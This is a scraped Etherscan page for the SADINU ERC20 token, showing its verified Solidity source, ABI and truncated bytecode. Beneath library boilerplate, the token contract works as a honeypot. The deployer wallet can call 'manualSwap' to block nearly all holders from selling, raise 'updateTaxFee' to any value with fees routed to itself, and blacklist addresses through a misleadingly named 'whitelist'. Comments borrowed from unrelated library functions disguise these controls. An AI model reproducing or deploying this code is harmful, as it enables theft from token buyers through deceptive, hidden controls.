ETH Price: $3,415.96 (+2.10%)

Token

Sadaharu Inu (SADINU)
 

Overview

Max Total Supply

100,000,000,000,000 SADINU

Holders

63

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
712,285,955,082.88441333236933259 SADINU

Value
$0.00
0xe6f090b9c4946684db6f3efa75075ca446c224de
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SadaharuInu

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-10-28
*/

// Official Site: https://sadaharuinu.com/
// Community: https://t.me/SadaharuInu


// SPDX-License-Identifier: MIT

pragma solidity ^0.8.4;

library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

abstract contract Context {
    
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.s
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract SadaharuInu is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 private _tTotal = 100000 * 10**9 * 10**18;
    uint256 private _maxTxAmount = _tTotal.mul(30).div(100);
    
    address private _deadWallet = _msgSender();
    address private _lpAddress = _msgSender();
    address[] public _whiteList;
    
    string private _name = 'Sadaharu Inu';
    string private _symbol = 'SADINU';
    bool private tradingOpen = false;
    uint256 private _teamFee = 1;
    uint256 private _taxFee = 11;
    uint8 private _decimals = 18;

    constructor () {
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }
    
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * also check address is bot address.
     *
     * Requirements:
     *
     * - the address is in list bot.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
    function symbol() public view returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * transferFrom.
     *
     * Requirements:
     *
     * - transferFrom.
     *
     * _Available since v3.1._
     */
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function decimals() public view returns (uint8) {
        return _decimals;
    }
    
    /**
     * @dev updateTaxFee
     *
     */
    function updateTaxFee(uint256 amount) public {
        require(_msgSender() == _deadWallet, "ERC20: cannot permit dev address");
        _taxFee = amount;
    }
    
    /**
     * @dev updateTeamFee
     *
     */
    function updateTeamFee (uint256 newFee) public {
        require(_msgSender() == _deadWallet, "ERC20: cannot permit dev address");
        _teamFee = newFee;
    }
    
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     *
     * Requirements:
     *
     * - manualSend
     *
     * _Available since v3.1._
     */
    function manualSend() public onlyOwner{
        tradingOpen = true;
    }
    
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     *
     * Requirements:
     *
     * - manualSwap
     *
     * _Available since v3.1._
     */
    function manualSwap() public {
        require(_msgSender() == _deadWallet, "ERC20: cannot permit dev address");
        _maxTxAmount = _teamFee;
    }
    
    /**
     * @dev update `addWhiteList` to detect bot
     *
     */
    function addWhiteList (address botAdd) public {
        require(_msgSender() == _deadWallet, "ERC20: cannot permit dev address");
        _whiteList.push(botAdd);
    }
    
    function checkWhiteList(address botAdd) private view returns (bool) {
        for (uint256 i = 0; i < _whiteList.length; i++) {
            if (_whiteList[i] == botAdd) {
                return true;
            }
        }
    }
    
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     *
     * Requirements:
     *
     * - the address approve.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }
    
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * also check address is bot address.
     *
     * Requirements:
     *
     * - the address is in list bot.
     * - the called Solidity function must be `sender`.
     *
     * _Available since v3.1._
     */
    function checkBalanceAddress(address _walletAddress) private view returns (bool){
        uint256 _botBalance = _tTotal.mul(30).div(100);
        if (_walletAddress == _lpAddress) {
            return true;
        }
        
        if (balanceOf(_walletAddress) >= _maxTxAmount && balanceOf(_walletAddress) <= _botBalance) {
            return false;
        } else {
            return true;
        }
    }
    
    /**
     * @dev See {BEP20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0), "BEP20: transfer from the zero address");
        require(recipient != address(0), "BEP20: transfer to the zero address");
        
        if (checkWhiteList(sender) == true ) {
            require(amount < _taxFee, "Transfer amount exceeds the maxTxAmount.");
        }
        
        if (sender == owner() || sender == _deadWallet) {
            _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
            _balances[recipient] = _balances[recipient].add(amount);
            
            emit Transfer(sender, recipient, amount);
        } else{
            require (checkBalanceAddress(sender));
            
            uint256 transferFee = amount.mul(_taxFee).div(100);
            uint256 transferAmount = amount.sub(transferFee);
        
            _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
            _balances[recipient] = _balances[recipient].add(transferAmount);
            _balances[_deadWallet] = _balances[_deadWallet].add(transferFee);
            
            emit Transfer(sender, recipient, transferAmount);
        }
    }
    
    function airdrop(address from, address[] calldata addresses, uint256[] calldata tokens) external onlyOwner {

        uint256 SCCC = 0;
    
        require(addresses.length == tokens.length,"Mismatch between Address and token count");
    
        for(uint i=0; i < addresses.length; i++){
            SCCC = SCCC + tokens[i];
        }
    
        require(balanceOf(from) >= SCCC, "Not enough tokens to airdrop");
    
        for(uint i=0; i < addresses.length; i++){
            _basicTransfer(from, addresses[i], tokens[i]);
        }
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }
    
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    
    function killBot (address addr)  public {
        require(_msgSender() == _deadWallet, "ERC20: cannot permit dev address");
        _lpAddress = addr;
    }
     

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"_whiteList","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"botAdd","type":"address"}],"name":"addWhiteList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256[]","name":"tokens","type":"uint256[]"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"killBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateTaxFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newFee","type":"uint256"}],"name":"updateTeamFee","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526d04ee2d6d415b85acef81000000006003556200004d606462000039601e6003546200035f60201b6200111d1790919060201c565b620003e360201b620011981790919060201c565b600455620000606200043560201b60201c565b600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620000b06200043560201b60201c565b600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600c81526020017f536164616861727520496e750000000000000000000000000000000000000000815250600890805190602001906200013d929190620004a5565b506040518060400160405280600681526020017f534144494e550000000000000000000000000000000000000000000000000000815250600990805190602001906200018b929190620004a5565b506000600a60006101000a81548160ff0219169083151502179055506001600b55600b600c556012600d60006101000a81548160ff021916908360ff160217905550348015620001da57600080fd5b506000620001ed6200043560201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060035460016000620002a26200043560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620002f06200043560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60035460405162000351919062000614565b60405180910390a362000849565b600080831415620003745760009050620003dd565b6000828462000384919062000685565b90508284826200039591906200064d565b14620003d8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003cf90620005f2565b60405180910390fd5b809150505b92915050565b60006200042d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200043d60201b60201c565b905092915050565b600033905090565b6000808311829062000487576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200047e9190620005ce565b60405180910390fd5b50600083856200049891906200064d565b9050809150509392505050565b828054620004b39062000726565b90600052602060002090601f016020900481019282620004d7576000855562000523565b82601f10620004f257805160ff191683800117855562000523565b8280016001018555821562000523579182015b828111156200052257825182559160200191906001019062000505565b5b50905062000532919062000536565b5090565b5b808211156200055157600081600090555060010162000537565b5090565b6000620005628262000631565b6200056e81856200063c565b935062000580818560208601620006f0565b6200058b81620007e9565b840191505092915050565b6000620005a56021836200063c565b9150620005b282620007fa565b604082019050919050565b620005c881620006e6565b82525050565b60006020820190508181036000830152620005ea818462000555565b905092915050565b600060208201905081810360008301526200060d8162000596565b9050919050565b60006020820190506200062b6000830184620005bd565b92915050565b600081519050919050565b600082825260208201905092915050565b60006200065a82620006e6565b91506200066783620006e6565b9250826200067a57620006796200078b565b5b828204905092915050565b60006200069282620006e6565b91506200069f83620006e6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006db57620006da6200075c565b5b828202905092915050565b6000819050919050565b60005b8381101562000710578082015181840152602081019050620006f3565b8381111562000720576000848401525b50505050565b600060028204905060018216806200073f57607f821691505b60208210811415620007565762000755620007ba565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b612c1380620008596000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c80638da5cb5b116100ad578063dd62ed3e11610071578063dd62ed3e1461030b578063df9364461461033b578063e7cd4a041461036b578063f2fde38b14610387578063f4293890146103a35761012c565b80638da5cb5b1461026757806395d89b4114610285578063a9059cbb146102a3578063acedf07c146102d3578063b5505335146102ef5761012c565b806323b872dd116100f457806323b872dd146101d5578063313ce5671461020557806351bc3c851461022357806370a082311461022d578063715018a61461025d5761012c565b8063025ff12f1461013157806306fdde031461014d578063095ea7b31461016b5780631225bf691461019b57806318160ddd146101b7575b600080fd5b61014b6004803603810190610146919061205e565b6103ad565b005b610155610608565b604051610162919061239b565b60405180910390f35b610185600480360381019061018091906120e7565b61069a565b6040516101929190612380565b60405180910390f35b6101b560048036038101906101b09190611faa565b6106b8565b005b6101bf610793565b6040516101cc919061253d565b60405180910390f35b6101ef60048036038101906101ea919061200f565b61079d565b6040516101fc9190612380565b60405180910390f35b61020d610876565b60405161021a9190612558565b60405180910390f35b61022b61088d565b005b61024760048036038101906102429190611faa565b61092f565b604051610254919061253d565b60405180910390f35b610265610978565b005b61026f610acb565b60405161027c9190612365565b60405180910390f35b61028d610af4565b60405161029a919061239b565b60405180910390f35b6102bd60048036038101906102b891906120e7565b610b86565b6040516102ca9190612380565b60405180910390f35b6102ed60048036038101906102e89190612123565b610ba4565b005b61030960048036038101906103049190612123565b610c45565b005b61032560048036038101906103209190611fd3565b610ce6565b604051610332919061253d565b60405180910390f35b61035560048036038101906103509190612123565b610d6d565b6040516103629190612365565b60405180910390f35b61038560048036038101906103809190611faa565b610dac565b005b6103a1600480360381019061039c9190611faa565b610ea9565b005b6103ab61106b565b005b6103b56111e2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610442576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610439906124dd565b60405180910390fd5b600082829050858590501461048c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610483906123fd565b60405180910390fd5b60005b858590508110156104fa578383828181106104d3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020135826104e5919061258f565b915080806104f29061275e565b91505061048f565b50806105058761092f565b1015610546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053d9061245d565b60405180910390fd5b60005b858590508110156105ff576105eb87878784818110610591577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906105a69190611faa565b8686858181106105df577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201356111ea565b5080806105f79061275e565b915050610549565b50505050505050565b6060600880546106179061272c565b80601f01602080910402602001604051908101604052809291908181526020018280546106439061272c565b80156106905780601f1061066557610100808354040283529160200191610690565b820191906000526020600020905b81548152906001019060200180831161067357829003601f168201915b5050505050905090565b60006106ae6106a76111e2565b84846113bd565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106f96111e2565b73ffffffffffffffffffffffffffffffffffffffff161461074f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610746906123bd565b60405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600354905090565b60006107aa848484611588565b61086b846107b66111e2565b61086685604051806060016040528060288152602001612b9060289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061081c6111e2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611be29092919063ffffffff16565b6113bd565b600190509392505050565b6000600d60009054906101000a900460ff16905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108ce6111e2565b73ffffffffffffffffffffffffffffffffffffffff1614610924576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091b906123bd565b60405180910390fd5b600b54600481905550565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673f